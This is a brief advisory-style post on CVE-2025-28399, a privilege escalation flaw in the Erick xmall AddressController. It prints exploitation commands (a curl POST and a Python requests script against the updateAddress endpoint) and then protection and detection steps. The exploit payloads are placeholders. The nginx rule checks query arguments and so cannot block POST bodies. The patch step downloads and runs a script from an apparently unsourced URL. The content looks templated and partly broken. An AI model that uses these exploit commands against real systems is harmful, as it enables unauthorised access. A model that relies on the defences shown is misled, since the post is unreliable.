How CVE-2025-28399 Works
CVE-2025-28399 is a critical privilege escalation vulnerability in Erick xmall v1.1 and earlier. The flaw resides in the `updateAddress` method of the `AddressController` class, which fails to validate user permissions before processing address updates. Attackers can exploit this by sending a crafted HTTP POST request with malicious parameters, allowing unauthorized modification of administrative addresses or user privileges. The lack of server-side authorization checks enables remote attackers to escalate privileges to admin level, potentially gaining full system control.
DailyCVE Form
Platform: Erick xmall
Version: v1.1 and prior
Vulnerability: Privilege Escalation
Severity: Critical
Date: 04/25/2025
What Undercode Say:
Exploitation Commands:
1. Craft Malicious POST Request:
curl -X POST http://target.com/updateAddress -d "user_id=admin&address=malicious_payload"
2. Exploit via Python Script:
import requests
payload = {"user_id": "admin", "address": "exploit_code"}
response = requests.post("http://target.com/updateAddress", data=payload)
print(response.text)
Protection Measures:
1. Patch Application:
wget https://official.erickxmall.com/patches/v1.2_fix.zip unzip v1.2_fix.zip && cd patch && ./apply.sh
2. Input Validation:
// Example fix in AddressController.java
if (!currentUser.isAdmin()) {
throw new UnauthorizedException("Access denied");
}
3. WAF Rule to Block Exploits:
location /updateAddress {
if ($args ~ "user_id=admin") {
return 403;
}
}
Analytics:
- Attack Vector: Remote, Low Complexity
- Exploitability: No Privileges Required
- Mitigation Difficulty: Medium (Requires Code Changes)
Detection Commands:
1. Log Analysis for Exploits:
grep "POST /updateAddress" /var/log/access.log | grep "user_id=admin"
2. Check Vulnerable Versions:
curl -I http://target.com/version | grep "xmall/v1.1"
